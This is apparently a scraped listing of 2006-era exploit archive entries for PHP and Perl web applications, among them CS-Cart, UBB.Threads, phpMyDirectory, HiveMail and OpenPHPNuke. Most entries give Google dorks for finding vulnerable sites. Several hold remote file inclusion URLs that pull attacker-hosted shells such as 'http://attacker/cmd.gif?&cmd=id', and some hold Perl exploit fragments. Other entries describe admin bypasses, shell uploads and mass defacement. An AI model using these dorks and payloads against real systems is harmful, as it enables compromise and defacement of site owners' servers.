SCart 2.0 - 'page' Remote Code Execution

!/usr/bin/perl SCart 2.0 Remote Code Execution Exploit Bugs Found & code By K-159 base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt echo.or.id c 2006 usage: perl scart.pl "cmd" Google Dork : site: scartserver.com Greetz: my soul...

CS-Cart <= 1.3.3 (classes_dir) Remote File Include Vulnerability

No description provided by source. $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ CS-Cart 1.3.3 classesdir = Remote File Include Vulnerability $$ Script site: http://www.cs-cart.com $$ Dork: Powered by CS-Cart - Shopping Cart Software $$...

Igloo 0.1.9 - 'Wiki.php' Remote File Inclusion

DEVIL TEAM THE BEST POLISH TEAM Igloo 0.1.9 and prior textwiki mod - Remote File Include Vulnerabilities Script site: http://download.savannah.nongnu.org/releases/igloo/ dork: Igloo interest group glue Find by Kacper Rahim. Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed,...

UBBCentral UBB.Threads 6.4.x 6.5.2 - thispath Remote File Inclusion

UBBCentral UBB.Threads 6.4.x 6.5.2 - thispath Remote File Inclusion Anomaly 1n The System presents UBB.threads = 6.4.x Remote File Inclusion founded by V4mu in 04/20/2006 URL: http://www.ubbcentral.com Google dork: allinurl:"/ubbthreads/" exploit:...

UBB Threads 6.4.x-6.5.2 (thispath) Remote File Inclusion Vulnerability

No description provided by source. Anomaly 1n The System presents UBB.threads = 6.4.x Remote File Inclusion founded by V4mu in 04/20/2006 URL: http://www.ubbcentral.com Google dork: allinurl:"/ubbthreads/" exploit: /addpostnewpoll.php?addpoll=preview&thispath=http://attacker/cmd.gif?&cmd=id...

phpMyDirectory <= 10.4.4 (ROOT_PATH) Remote Inclusion Vulnerability

No description provided by source. Title : phpMyDirectory = 10.4.4 Remote File Inclusion Vulnerability - URL : http://www.phpmydirectory.com/ - Dork : "powered by phpmydirectory" or intext:"2001-2006 phpMyDirectory.com" - Author : OLiBekaS - contact : olibekasatgmail.com - greetz : Renzokuzen,...

phpMyDirectory 10.4.4 - 'ROOT_PATH' Remote File Inclusion

Title : phpMyDirectory = 10.4.4 Remote File Inclusion Vulnerability - URL : http://www.phpmydirectory.com/ - Dork : "powered by phpmydirectory" or intext:"2001-2006 phpMyDirectory.com" - Author : OLiBekaS - contact : olibekasatgmail.com - greetz : Renzokuzen, Skulmatic, weleh, brokencode, bigmast...

TR Newsportal <= 0.36tr1 (poll.php) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================= TR Newsportal /code http://www.site.com/Newsportalpath/extras/poll/poll.php?filenewsportal=evilscripts Elo ;- 0day.today 2018-03-19...

singapore097.txt

SOFTWARE: ========= singapore v0.9.7 DESCRIPTION: ============ The system is vulnerable to various XSS attacks google dork : "Powered by singapore v0.9.7" inurl:index.php?gallery 429 results : xss code example ================ www.site.com/images/index.php?gallery=gallery name&image=...

X-POLL admin By-Pass

google dork: inurl:x-poll and add to /admin/images/add.php , upload to shell, and mass deface is server www.ayyildiz.org...

philbookmark.txt

From: [email protected] Subject: Phil's Bookmark script admin By-pass google dork : "Phil's Bookmark" and lasth path add to "admin.php?edit=item id" example: www.site.com/bookmarks/admin.php?edit=1 www.ayyildiz.org...

ACal 2.2.6 - day.php Remote File Inclusion

ACal 2.2.6 - day.php Remote File Inclusion $$ $ Title: ACal 2.2.6 = Remote File Inclusion $ $$ $ URL: http://acalproj.sourceforge.net/ $ $$ $ Dork: intitle:"Login to Calendar" $ $$ $ Credits: PiNGuX $ $$ $ Greetz : 0o $ $$ Exploit:...

HiveMail &lt;= 1.3 (addressbook.add.php) Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. yes i know... Dork:...

HiveMail <= 1.3 (addressbook.add.php) Remote Code Execution Exploit

Exploit for unknown platform in category web applications =================================================================== HiveMail = 1.3 addressbook.add.php Remote Code Execution Exploit =================================================================== !/usr/bin/perl HiveMail = 1.3 remote...

Albinator <= 2.0.6 (Config_rootdir) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ================================================================= Albinator perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd =...

galleryadmin.txt

google dork - inurl:planetgallery last path add to /admin/galleryadmin.php example: http://site.com/planetgallery/admin/galleryadmin.php no pass, no login, sending your shell. credits:tugr@,AlpEren...

freeadmin.txt

google dork:"powered by free-php.net" poll last path add to /admin/ select poll and modify or addnew poll credits:tugr@...

Aardvark Topsites PHP 4.2.2 - 'path' Remote File Inclusion

Title: Aardvark Topsites PHP 4.2.2 remote file inclusion URL: http://www.aardvarktopsitesphp.com/ Dork: "Powered By Aardvark Topsites PHP 4.2.2" Exploit: /sources/join.php?FORMurl=owned&CONFIGcaptcha=1&CONFIGpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com 2006-04-30...

Aardvark Topsites PHP 4.2.2 - path Remote File Inclusion

Aardvark Topsites PHP 4.2.2 - path Remote File Inclusion Title: Aardvark Topsites PHP 4.2.2 remote file inclusion URL: http://www.aardvarktopsitesphp.com/ Dork: "Powered By Aardvark Topsites PHP 4.2.2" Exploit:...

openPHPNuke233.txt

Title: OpenPHPNuke = 2.3.3 Remote File Inclusion URL: http://www.openphpnuke.com/ Dork: inurl:/system/article/alltopics.php OR inurl:/system/user/index.php Credits: Oo Exploit: /master.php?rootpath=http://yourhost/cmd.gif?cmd=ls...